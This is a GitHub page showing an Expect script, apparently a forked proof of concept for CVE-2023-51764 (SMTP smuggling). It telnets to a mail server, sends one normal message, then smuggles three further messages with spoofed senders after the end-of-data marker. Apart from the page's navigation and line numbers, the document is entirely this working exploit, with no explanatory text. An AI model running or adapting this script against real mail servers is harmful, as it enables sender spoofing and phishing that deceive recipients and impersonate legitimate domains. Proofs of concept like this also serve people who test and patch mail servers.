forked from duy-31/CVE-2023-51764
-
Notifications
You must be signed in to change notification settings - Fork 0
/
cve-2023-51764.sh
97 lines (89 loc) · 2 KB
/
cve-2023-51764.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/expect
set timeout -1
set host [lindex $argv 0]
set port [lindex $argv 1]
spawn telnet $host $port
expect "220"
send "HELO $host\r"
expect "250"
send "MAIL FROM: <duy@validedomain.com>\r"
expect "250"
send "RCPT TO: <validrecipient@validerecipientdomain.com>\r"
expect "250"
send "data\r"
expect "354"
send "From: duy@validedomain.com\r"
sleep 1
send "To: validrecipient@validerecipientdomain.com\r"
sleep 1
send "Subject: 1st email\r"
sleep 1
send "\r"
sleep 1
send "1st email content with many others emails\r"
sleep 1
send "\r"
sleep 1
send ".\r"
sleep 1
send "mail FROM:<spoofedvalidrecipient#1@validerecipientdomain.com>\r"
sleep 1
send "rcpt TO:<validrecipient#1@validerecipientdomain.com>\r"
sleep 1
send "data\r"
sleep 1
send "From: spoofedvalidrecipient#1@validerecipientdomain.com\r"
sleep 1
send "To: validrecipient#1@validerecipientdomain.com\r"
sleep 1
send "Subject: Spoofed email #1\r"
sleep 1
send "\r"
sleep 1
send "Content of the #1 spoofed email\r"
sleep 1
send "\r"
sleep 1
send ".\r"
sleep 1
send "mail FROM:<spoofedvalidrecipient#2@validerecipientdomain.com>\r"
sleep 1
send "rcpt TO:<validrecipient#2@validerecipientdomain.com>\r"
sleep 1
send "data\r"
sleep 1
send "From: spoofedvalidrecipient#2@validerecipientdomain.com\r"
sleep 1
send "To: validrecipient#2@validerecipientdomain.com\r"
sleep 1
send "Subject: Spoofed email #2\r"
sleep 1
send "\r"
sleep 1
send "Content of the #2 spoofed email\r"
sleep 1
send "\r"
sleep 1
send ".\r"
sleep 1
send "mail FROM:<spoofedvalidrecipient#3@validerecipientdomain.com>\r"
sleep 1
send "rcpt TO:<validrecipient#3@validerecipientdomain.com>\r"
sleep 1
send "data\r"
sleep 1
send "From: spoofedvalidrecipient#3@validerecipientdomain.com\r"
sleep 1
send "To: validrecipient#3@validerecipientdomain.com\r"
sleep 1
send "Subject: Spoofed email #3\r"
sleep 1
send "\r"
sleep 1
send "Content of the #3 spoofed email\r"
sleep 1
send "\r"
sleep 1
send ".\r"
sleep 1
send "quit\r"